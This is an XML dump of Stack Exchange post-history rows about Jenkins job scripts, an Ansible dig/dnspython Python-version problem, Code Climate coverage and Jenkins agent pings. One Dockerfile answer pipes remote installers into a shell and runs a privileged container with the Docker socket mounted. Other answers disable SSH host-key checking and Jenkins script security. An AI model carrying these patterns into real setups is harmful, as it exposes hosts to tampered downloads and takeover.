  <row Id="30592" PostHistoryTypeId="2" PostId="10141" RevisionGUID="5230bf68-199e-44d0-8a78-154895016f69" CreationDate="2019-12-17T18:15:11.787" UserId="354" Text="You can specify the script in the &quot;execute shell&quot; step of the build. _Where_ it gets executed will depend on what labels the job needs, and which nodes those labels are associated with.&#xD;&#xA;&#xD;&#xA;It sounds like you want to execute this script on an agent. As long as the agent is available, you can request it via a label in the job configuration. It's a bit difficult to determine this without having access to your setup, but if _e.g._ you have a set of agents on Debian boxes, you could attach the label `debian` to them, and specify that the job should run on `debian` nodes in the job configuration. &#xD;&#xA;&#xD;&#xA;If on the other hand it should be run on `master` (where Jenkins itself is running), you can specify the label `master`.&#xD;&#xA;&#xD;&#xA;&gt; I need also to add an ssh command to the environment. This should be executed using passwordless authentication.&#xD;&#xA;&#xD;&#xA;For this to happen, you need ssh keys to be exchanged with the host onto which you want to ssh into." ContentLicense="CC BY-SA 4.0" />
  <row Id="30595" PostHistoryTypeId="2" PostId="10142" RevisionGUID="e2176390-04d0-4fdf-8fcf-ad5022f47acc" CreationDate="2019-12-18T00:06:50.437" UserId="10715" Text="I am trying to look up the IPv4 address (a single one, which I will `assert` on!) for a given name using Ansible and use that as a fact &quot;down the line&quot;.&#xD;&#xA;&#xD;&#xA;An MWE looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# vim: set autoindent smartindent tabstop=2 shiftwidth=2 softtabstop=2 expandtab filetype=ansible:&#xD;&#xA;&#xD;&#xA;- name: Preparations&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;example.com&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: ahostsv4&#xD;&#xA;        key: &quot;{{host2lookup}}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: getent_ahostsv4&#xD;&#xA;    - name: Lookup for {{host2lookup}}&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{lookup('dig', '{{host2lookup}}./A')}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... and fails as follows (relevant excerpt):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  localhost failed | msg: An unhandled exception occurred while running the lookup plugin 'dig'. Error was a &lt;class 'ansible.errors.AnsibleError'&gt;, original message: The dig lookup requires the python 'dnspython' library and it is not installed&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So I thought to myself I'd install the `dnspython` library for the appropriate Python version, making the playbook look as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# vim: set autoindent smartindent tabstop=2 shiftwidth=2 softtabstop=2 expandtab filetype=ansible:&#xD;&#xA;&#xD;&#xA;- name: Preparing Ansible host&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Install dnspython package on Ansible host&#xD;&#xA;      block:&#xD;&#xA;        - name: Installing python-dnspython package&#xD;&#xA;          apt:&#xD;&#xA;            pkg:&#xD;&#xA;              - python-dnspython&#xD;&#xA;            update_cache: yes&#xD;&#xA;            install_recommends: no&#xD;&#xA;            state: present&#xD;&#xA;          when: ansible_python.version.major == 2&#xD;&#xA;        - name: Installing python3-dnspython package&#xD;&#xA;          apt:&#xD;&#xA;            pkg:&#xD;&#xA;              - python3-dnspython&#xD;&#xA;            update_cache: yes&#xD;&#xA;            install_recommends: no&#xD;&#xA;            state: present&#xD;&#xA;          when: ansible_python.version.major == 3&#xD;&#xA;      become: true&#xD;&#xA;- name: Preparations&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;example.com&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: ahostsv4&#xD;&#xA;        key: &quot;{{host2lookup}}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: getent_ahostsv4&#xD;&#xA;    - name: Lookup for {{host2lookup}}&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{lookup('dig', '{{host2lookup}}./A')}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the ultimate failure remains the same. Either that error is misleading or something else is fishy ...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Executing playbook dbg.yml&#xD;&#xA;&#xD;&#xA;- Preparing Ansible host on hosts: localhost -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;Installing python-dnspython package...&#xD;&#xA;Installing python3-dnspython package...&#xD;&#xA;  localhost ok&#xD;&#xA;&#xD;&#xA;- Preparations on hosts: localhost -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;getent...&#xD;&#xA;  localhost ok&#xD;&#xA;debug...&#xD;&#xA;  localhost ok: {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;getent_ahostsv4&quot;: {&#xD;&#xA;        &quot;93.184.216.34&quot;: [&#xD;&#xA;            &quot;RAW&quot;&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;Lookup for example.com...&#xD;&#xA;  localhost failed | msg: An unhandled exception occurred while running the lookup plugin 'dig'. Error was a &lt;class 'ansible.errors.AnsibleError'&gt;, original message: The dig lookup requires the python 'dnspython' library and it is not installed&#xD;&#xA;&#xD;&#xA;- Play recap -&#xD;&#xA;  localhost                  : ok=5    changed=0    unreachable=0    failed=1    rescued=0    ignored=0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What other than the appropriate `dnspython` package am I missing here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The `dnsutils` package (containing `dig`) and its library dependencies is installed. Adding these as prerequisites into the `apt:` task therefore makes no difference.&#xD;&#xA;&#xD;&#xA;Found another smoking gun, though:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ python3 -m dnspython&#xD;&#xA;/usr/bin/python3: No module named dnspython&#xD;&#xA;$ sudo -H pip3 install dnspython&#xD;&#xA;Requirement already satisfied: dnspython in /usr/lib/python3/dist-packages&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30596" PostHistoryTypeId="1" PostId="10142" RevisionGUID="e2176390-04d0-4fdf-8fcf-ad5022f47acc" CreationDate="2019-12-18T00:06:50.437" UserId="10715" Text="Using `dig` Ansible module?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30597" PostHistoryTypeId="3" PostId="10142" RevisionGUID="e2176390-04d0-4fdf-8fcf-ad5022f47acc" CreationDate="2019-12-18T00:06:50.437" UserId="10715" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30598" PostHistoryTypeId="5" PostId="10142" RevisionGUID="89528edc-65df-49d7-88b6-4b3b58718756" CreationDate="2019-12-18T00:16:04.547" UserId="10715" Comment="added 177 characters in body" Text="I am trying to look up the IPv4 address (a single one, which I will `assert` on!) for a given name using Ansible and use that as a fact &quot;down the line&quot;.&#xD;&#xA;&#xD;&#xA;An MWE looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# vim: set autoindent smartindent tabstop=2 shiftwidth=2 softtabstop=2 expandtab filetype=ansible:&#xD;&#xA;&#xD;&#xA;- name: Preparations&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;example.com&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: ahostsv4&#xD;&#xA;        key: &quot;{{host2lookup}}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: getent_ahostsv4&#xD;&#xA;    - name: Lookup for {{host2lookup}}&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{lookup('dig', '{{host2lookup}}./A')}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... and fails as follows (relevant excerpt):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  localhost failed | msg: An unhandled exception occurred while running the lookup plugin 'dig'. Error was a &lt;class 'ansible.errors.AnsibleError'&gt;, original message: The dig lookup requires the python 'dnspython' library and it is not installed&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So I thought to myself I'd install the `dnspython` library for the appropriate Python version, making the playbook look as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# vim: set autoindent smartindent tabstop=2 shiftwidth=2 softtabstop=2 expandtab filetype=ansible:&#xD;&#xA;&#xD;&#xA;- name: Preparing Ansible host&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Install dnspython package on Ansible host&#xD;&#xA;      block:&#xD;&#xA;        - name: Installing python-dnspython package&#xD;&#xA;          apt:&#xD;&#xA;            pkg:&#xD;&#xA;              - python-dnspython&#xD;&#xA;            update_cache: yes&#xD;&#xA;            install_recommends: no&#xD;&#xA;            state: present&#xD;&#xA;          when: ansible_python.version.major == 2&#xD;&#xA;        - name: Installing python3-dnspython package&#xD;&#xA;          apt:&#xD;&#xA;            pkg:&#xD;&#xA;              - python3-dnspython&#xD;&#xA;            update_cache: yes&#xD;&#xA;            install_recommends: no&#xD;&#xA;            state: present&#xD;&#xA;          when: ansible_python.version.major == 3&#xD;&#xA;      become: true&#xD;&#xA;- name: Preparations&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;example.com&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: ahostsv4&#xD;&#xA;        key: &quot;{{host2lookup}}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: getent_ahostsv4&#xD;&#xA;    - name: Lookup for {{host2lookup}}&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{lookup('dig', '{{host2lookup}}./A')}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the ultimate failure remains the same. Either that error is misleading or something else is fishy ...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Executing playbook dbg.yml&#xD;&#xA;&#xD;&#xA;- Preparing Ansible host on hosts: localhost -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;Installing python-dnspython package...&#xD;&#xA;Installing python3-dnspython package...&#xD;&#xA;  localhost ok&#xD;&#xA;&#xD;&#xA;- Preparations on hosts: localhost -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;getent...&#xD;&#xA;  localhost ok&#xD;&#xA;debug...&#xD;&#xA;  localhost ok: {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;getent_ahostsv4&quot;: {&#xD;&#xA;        &quot;93.184.216.34&quot;: [&#xD;&#xA;            &quot;RAW&quot;&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;Lookup for example.com...&#xD;&#xA;  localhost failed | msg: An unhandled exception occurred while running the lookup plugin 'dig'. Error was a &lt;class 'ansible.errors.AnsibleError'&gt;, original message: The dig lookup requires the python 'dnspython' library and it is not installed&#xD;&#xA;&#xD;&#xA;- Play recap -&#xD;&#xA;  localhost                  : ok=5    changed=0    unreachable=0    failed=1    rescued=0    ignored=0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What other than the appropriate `dnspython` package am I missing here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The `dnsutils` package (containing `dig`) and its library dependencies is installed. Adding these as prerequisites into the `apt:` task therefore makes no difference.&#xD;&#xA;&#xD;&#xA;Found another smoking gun, though:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ python3 -m dnspython&#xD;&#xA;/usr/bin/python3: No module named dnspython&#xD;&#xA;$ sudo -H pip3 install dnspython&#xD;&#xA;Requirement already satisfied: dnspython in /usr/lib/python3/dist-packages&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I stand corrected. As per the [examples page](http://www.dnspython.org/examples.html) I should import something like `dns.query` (`python3 -m dns.query`). And that succeeds.&#xD;&#xA;&#xD;&#xA;My `ansible.cfg` is this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat ansible.cfg&#xD;&#xA;[defaults]&#xD;&#xA;nocows = true&#xD;&#xA;inventory = hosts.ini&#xD;&#xA;roles_path = roles&#xD;&#xA;command_warnings = false&#xD;&#xA;stdout_callback = unixy&#xD;&#xA;display_skipped_hosts = false&#xD;&#xA;interpreter_python=auto&#xD;&#xA;&#xD;&#xA;[colors]&#xD;&#xA;verbose = dark gray&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The whole thing runs on Ubuntu 18.04." ContentLicense="CC BY-SA 4.0" />
  <row Id="30599" PostHistoryTypeId="2" PostId="10143" RevisionGUID="adf06be0-ce97-4982-9740-d851c1f7dea6" CreationDate="2019-12-18T00:22:31.457" UserId="10715" Text="Since this confused the hell out of me and cost me about an hour to figure out, I am going to post an answer.&#xD;&#xA;&#xD;&#xA;As you can see I am using `ansible_python` to determine the Python version and install the appropriate version of `dnspython`. Since this is on Ubuntu 18.04 it defaults to `python3`. I am suppressing the respective warning with `interpreter_python=auto` in the `ansible.cfg` inside the same folder.&#xD;&#xA;&#xD;&#xA;But here's the bummer. Apparently `connection: local` somehow violates the rule about using `python3` whose `dnspython` package is installed. It made sense once I looked for `dig.py` (hoping for the [Ansible lookup module of the same name](https://docs.ansible.com/ansible/latest/plugins/lookup/dig.html)). And indeed I found it:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ locate dig.py&#xD;&#xA;/usr/lib/python2.7/dist-packages/ansible/plugins/lookup/dig.py&#xD;&#xA;/usr/lib/python2.7/dist-packages/ansible/plugins/lookup/dig.pyc&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... alas, this means my version of Ansible uses Python 2.7 and so the `dig` module won't be able to make use of the `python3-dnspython` (Debian) package which I installed.&#xD;&#xA;&#xD;&#xA;Still puzzling. But with the cause determined, I can work around it now." ContentLicense="CC BY-SA 4.0" />
  <row Id="30600" PostHistoryTypeId="2" PostId="10144" RevisionGUID="9bedaf97-a109-49ba-92fe-74f9b8047a4d" CreationDate="2019-12-18T02:53:21.290" UserId="7715" Text="1) See [how to choose a python interpreter for Ansible playbook?](https://stackoverflow.com/questions/59380824/how-to-choose-a-python-interpreter-for-ansible-playbook/)&#xD;&#xA;&#xD;&#xA;2) Ansible will tell what Python is used&#xD;&#xA;&#xD;&#xA;    $ ansible --version&#xD;&#xA;    ansible 2.9.2&#xD;&#xA;      config file = /home/vlado/.ansible.cfg&#xD;&#xA;      configured module search path = [u'/home/vlado/.ansible/my_modules']&#xD;&#xA;      ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;3) It's possible to install both versions&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ dpkg -l | grep dnspython&#xD;&#xA;ii  python-dnspython         1.16.0-1 all          DNS toolkit for Python&#xD;&#xA;ii  python3-dnspython        1.16.0-1 all          DNS toolkit for Python 3&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30601" PostHistoryTypeId="5" PostId="10144" RevisionGUID="99faff2b-2b74-4810-861a-384d49651268" CreationDate="2019-12-18T03:01:08.680" UserId="7715" Comment="added 480 characters in body" Text="1) [interpreter_python](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python) configuration parameter says:&#xD;&#xA;&#xD;&#xA;&gt; Path to the Python interpreter to be used for module execution **on remote targets**&#xD;&#xA;&#xD;&#xA;See [how to choose a python interpreter for Ansible playbook?](https://stackoverflow.com/questions/59380824/how-to-choose-a-python-interpreter-for-ansible-playbook/)&#xD;&#xA;&#xD;&#xA;2) Ansible will tell what Python is used **on master**&#xD;&#xA;&#xD;&#xA;    $ ansible --version&#xD;&#xA;    ansible 2.9.2&#xD;&#xA;      config file = /home/vlado/.ansible.cfg&#xD;&#xA;      configured module search path = [u'/home/vlado/.ansible/my_modules']&#xD;&#xA;      ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;3) [dig](https://docs.ansible.com/ansible/latest/plugins/lookup/dig.html#dig-query-dns-using-the-dnspython-library) says&#xD;&#xA;&#xD;&#xA;&gt; The below requirements are needed **on the local master node** that executes this lookup: dnspython&#xD;&#xA;&#xD;&#xA;4) It's possible to install both versions&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ dpkg -l | grep dnspython&#xD;&#xA;ii  python-dnspython         1.16.0-1 all          DNS toolkit for Python&#xD;&#xA;ii  python3-dnspython        1.16.0-1 all          DNS toolkit for Python 3&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30608" PostHistoryTypeId="5" PostId="10141" RevisionGUID="633d9fd5-f3db-4109-8336-c822df80c9f1" CreationDate="2019-12-18T07:45:13.100" UserId="354" Comment="Added the script as requested" Text="You can specify the script in the &quot;execute shell&quot; step of the build. _Where_ it gets executed will depend on what labels the job needs, and which nodes those labels are associated with.&#xD;&#xA;&#xD;&#xA;It sounds like you want to execute this script on an agent. As long as the agent is available, you can request it via a label in the job configuration. It's a bit difficult to determine this without having access to your setup, but if _e.g._ you have a set of agents on Debian boxes, you could attach the label `debian` to them, and specify that the job should run on `debian` nodes in the job configuration. &#xD;&#xA;&#xD;&#xA;If on the other hand it should be run on `master` (where Jenkins itself is running), you can specify the label `master`.&#xD;&#xA;&#xD;&#xA;You thus need to put your script into the &quot;Execute Shell&quot; box that Jenkins provides you, perhaps declaring what shell and options you want to use:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/bin/bash -xe&#xD;&#xA;du -sh /bbhome/shared/data/repositories/* |sort -h |tail -20 |&#xD;&#xA;while IFS= read -r line;do&#xD;&#xA;        DIR=`echo $line | awk '{print$2}'`&#xD;&#xA;        Rep=`cat $DIR/repository-config |grep 'project\|repo' |  tr '\n' ' '`&#xD;&#xA;        Size=`echo $line | awk '{print $1}' `&#xD;&#xA;        echo $Size $Rep&#xD;&#xA;done&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt; I need also to add an ssh command to the environment. This should be executed using passwordless authentication.&#xD;&#xA;&#xD;&#xA;For this to happen, you need ssh keys to be exchanged with the host onto which you want to ssh into." ContentLicense="CC BY-SA 4.0" />
  <row Id="30610" PostHistoryTypeId="2" PostId="10147" RevisionGUID="0c744f96-897c-4453-adfb-f66401f47199" CreationDate="2019-12-18T08:36:13.380" UserId="16959" Text="What are the permissions set to Jenkins docker container you are using in the instance?&#xD;&#xA;&#xD;&#xA;This is one of the solution.&#xD;&#xA;You can use the following docker-compose along with the Dockerfile.&#xD;&#xA;&#xD;&#xA;docker-compose.yml&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  jenkins:&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;    image: jenkins&#xD;&#xA;    container_name: jenkins&#xD;&#xA;    restart: always&#xD;&#xA;    volumes:&#xD;&#xA;      - &quot;/var/run/docker.sock:/var/run/docker.sock&quot;&#xD;&#xA;      - &quot;/etc/sysconfig/docker:/etc/sysconfig/docker&quot;&#xD;&#xA;      - &quot;/home/ubuntu/jenkins/volume:/var/jenkins_home&quot;&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;8443:8080&quot;&#xD;&#xA;    privileged: true&#xD;&#xA;```&#xD;&#xA;Dockerfile&#xD;&#xA;```&#xD;&#xA;FROM jenkins/jenkins:lts&#xD;&#xA;&#xD;&#xA;#Switching to root user&#xD;&#xA;USER root&#xD;&#xA;RUN apt update &amp;&amp; \&#xD;&#xA;    apt install sudo curl jq apt-utils -y&#xD;&#xA;&#xD;&#xA;RUN curl -sSL https://get.docker.com/ | sh&#xD;&#xA;RUN  sudo apt-get install docker-compose -y&#xD;&#xA;&#xD;&#xA;#install aws&#xD;&#xA;RUN sudo apt-get install -y python-pip python-dev build-essential&#xD;&#xA;RUN pip install awscli --upgrade --user&#xD;&#xA;RUN export PATH=~/.local/bin:$PATH&#xD;&#xA;#updating path to support aws &#xD;&#xA;ENV PATH=&quot;~/.local/bin:${PATH}&quot;&#xD;&#xA;&#xD;&#xA;#php installation &#xD;&#xA;#----------------&#xD;&#xA;RUN apt install ca-certificates apt-transport-https &#xD;&#xA;RUN wget -q https://packages.sury.org/php/apt.gpg -O- | sudo apt-key add -&#xD;&#xA;RUN echo &quot;deb https://packages.sury.org/php/ stretch main&quot; | sudo tee /etc/apt/sources.list.d/php.list&#xD;&#xA;&#xD;&#xA;RUN apt update&#xD;&#xA;RUN apt install -y php7.2&#xD;&#xA;RUN apt-get install -y php7.2-common php7.2-opcache php7.2-curl php7.2-mbstring php7.2-mysql php7.2-zip php7.2-xml&#xD;&#xA;&#xD;&#xA;#install composer&#xD;&#xA;RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/bin --filename=composer&#xD;&#xA;&#xD;&#xA;#install phpunit&#xD;&#xA;RUN curl -sSL https://phar.phpunit.de/phpunit.phar -o phpunit.phar&#xD;&#xA;RUN chmod +x phpunit.phar&#xD;&#xA;RUN mv phpunit.phar /usr/local/bin/phpunit&#xD;&#xA;```&#xD;&#xA;Create a volume in the same directory named `volume`&#xD;&#xA;&#xD;&#xA;This will allow you to run the docker command without any issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="30612" PostHistoryTypeId="12" PostId="10124" RevisionGUID="b9973f52-e114-4766-92ff-cd1c1d8b2ff3" CreationDate="2019-12-18T08:41:43.697" UserId="18007" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18007,&quot;DisplayName&quot;:&quot;arielma&quot;}]}" />
  <row Id="30613" PostHistoryTypeId="2" PostId="10149" RevisionGUID="9c26da90-842d-48bd-8c7f-7d9c42389c93" CreationDate="2019-12-18T08:44:02.890" UserId="16959" Text="For executing the command in the Jenkins Freestyle Job.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/bin/bash&#xD;&#xA;&#xD;&#xA;du -sh /bbhome/shared/data/repositories/* |sort -h |tail -20 |&#xD;&#xA;while IFS= read -r line;do&#xD;&#xA;        DIR=`echo $line | awk '{print$2}'`&#xD;&#xA;        Rep=`cat $DIR/repository-config |grep 'project\|repo' |  tr '\n' ' '`&#xD;&#xA;        Size=`echo $line | awk '{print $1}' `&#xD;&#xA;        echo $Size $Rep&#xD;&#xA;done&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For ssh&#xD;&#xA;```&#xD;&#xA;ssh -o StrictHostKeyChecking=no user@host '&#xD;&#xA;   command_1 to execute&#xD;&#xA;   command_2 to execute&#xD;&#xA;   ./script.sh to execute&#xD;&#xA;   command_3 to execute&#xD;&#xA;'&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30614" PostHistoryTypeId="5" PostId="10099" RevisionGUID="0a07d3d4-e7d0-4174-8941-bd4b9bb92bd5" CreationDate="2019-12-18T08:49:06.893" UserId="16959" Comment="Update " Text="My company is currently trying to implement Code Climate for test coverage. However, I do not have much idea about it and new to using code climate.&#xD;&#xA;&#xD;&#xA;I tried to integrate code climate with Jenkins so that once the tests are successful, I can simply move on with other Jenkins Job.&#xD;&#xA;&#xD;&#xA;I consulted the documentation itself, and as per documentation there are things like but there is not much explanation about it.&#xD;&#xA;&#xD;&#xA;```./cc-test-reporter after-build -t simplecov --exit-code $? || echo  “Skipping Code Climate coverage upload”```&#xD;&#xA;&#xD;&#xA;I executed this, but returned there is no such file simplecov. I later found that the -t flag is used to provide the file which will be used for coverage. Below is my Jenkins job.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/bin/bash&#xD;&#xA;echo &quot;---------------------------------------&quot;&#xD;&#xA;echo &quot;| Downloading Code Climate &quot;&#xD;&#xA;curl -L https://codeclimate.com/downloads/test-reporter/test-reporter-latest-linux-amd64 &gt;&gt; ./cc-test-reporter&#xD;&#xA;chmod +x ./cc-test-reporter&#xD;&#xA;echo &quot;| Download Complete &quot;&#xD;&#xA;echo &quot;---------------------------------------&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;CODECLIMATE_REPO_TOKEN=${CODECLIMATE_REPO_TOKEN}&#xD;&#xA;echo &quot;Running tests&quot;&#xD;&#xA;./cc-test-reporter before-build.&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;Once I execute this, I get the following output.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---------------------------------------&#xD;&#xA;| Downloading Code Climate &#xD;&#xA;  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xD;&#xA;                                 Dload  Upload   Total   Spent    Left  Speed&#xD;&#xA;&#xD;&#xA;  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0&#xD;&#xA;100   178  100   178    0     0    933      0 --:--:-- --:--:-- --:--:--   936&#xD;&#xA;&#xD;&#xA;  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0&#xD;&#xA;100 12.1M  100 12.1M    0     0  10.0M      0  0:00:01  0:00:01 --:--:-- 15.8M&#xD;&#xA;| Download Complete &#xD;&#xA;---------------------------------------&#xD;&#xA;Running tests&#xD;&#xA;Finished: SUCCESS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Why am I not getting any code coverage or things like that in the console. How do I properly integrate it in Jenkins.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**```UPDATE```**&#xD;&#xA;I have successfully created the job without issue.&#xD;&#xA;Now the problem I am facing is &#xD;&#xA;```&#xD;&#xA;$ ./cc-test-reporter format-coverage -t lcov coverage/lcov.info -d -o codeclimate.json&#xD;&#xA;DEBU[0000] coverage path coverage/lcov.info             &#xD;&#xA;DEBU[0000] using formatter lcov                         &#xD;&#xA;DEBU[0000] checking search path coverage/lcov.info for lcov formatter &#xD;&#xA;DEBU[0000] couldn't load branch from ENV, trying git... &#xD;&#xA;DEBU[0000] couldn't load commit sha from ENV, trying git... &#xD;&#xA;DEBU[0000] couldn't load committed at from ENV, trying git... &#xD;&#xA;Error: could not find coverage info for source files&#xD;&#xA;&#xD;&#xA;user@host:app$ pwd&#xD;&#xA;app&#xD;&#xA;user@host:app$ ll&#xD;&#xA;coverage&#xD;&#xA;user@host:app$ ll coverage&#xD;&#xA;lcov-report&#xD;&#xA;lcvo.info&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30615" PostHistoryTypeId="13" PostId="10124" RevisionGUID="33229571-ab57-4670-8cac-2d783be32dbd" CreationDate="2019-12-18T09:11:04.800" UserId="18007" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18007,&quot;DisplayName&quot;:&quot;arielma&quot;}]}" />
  <row Id="30616" PostHistoryTypeId="2" PostId="10150" RevisionGUID="dfa69f80-beee-4810-b341-08a0afacd4fc" CreationDate="2019-12-18T09:11:59.487" UserId="18007" Text="The issue was with one of the options present in global security configuration “ Enable script security for job DSL scripts”, which needs to be unchecked." ContentLicense="CC BY-SA 4.0" />
  <row Id="30620" PostHistoryTypeId="2" PostId="10151" RevisionGUID="2d24858a-5b11-4384-adff-826a7892ee3a" CreationDate="2019-12-18T10:01:38.877" UserId="18590" Text="One of the jenkins slave is going down very often. Found RCA for this issue. &#xD;&#xA;It's because of the Ping thread&#xD;&#xA;&#xD;&#xA;logs i fetch from slave &#xD;&#xA;&#xD;&#xA;Terminating the channel channel.&#xD;&#xA;java.util.concurrent.TimeoutException: Ping started at 1576130988405 hasn't completed by 1576131228405&#xD;&#xA;	at hudson.remoting.PingThread.ping(PingThread.java:134)&#xD;&#xA;	at hudson.remoting.PingThread.run(PingThread.java:90)&#xD;&#xA;&#xD;&#xA;I wanted to disable ping thread on slave. In the documentation it's mentioned as &quot;-Dhudson.remoting.Launcher.pingIntervalSec=-1&quot; &#xD;&#xA;&#xD;&#xA;But i am not getting how to execute this on remote machine. &#xD;&#xA;I followed this [link][1]. but that solution is for JNPL. I am launching my slave node via ssh. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43789808/disable-pinging-slaves-in-jenkins?answertab=active#tab-top" ContentLicense="CC BY-SA 4.0" />
  <row Id="30621" PostHistoryTypeId="1" PostId="10151" RevisionGUID="2d24858a-5b11-4384-adff-826a7892ee3a" CreationDate="2019-12-18T10:01:38.877" UserId="18590" Text="how to disable ping thread on jenkins slave" ContentLicense="CC BY-SA 4.0" />
  <row Id="30622" PostHistoryTypeId="3" PostId="10151" RevisionGUID="2d24858a-5b11-4384-adff-826a7892ee3a" CreationDate="2019-12-18T10:01:38.877" UserId="18590" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
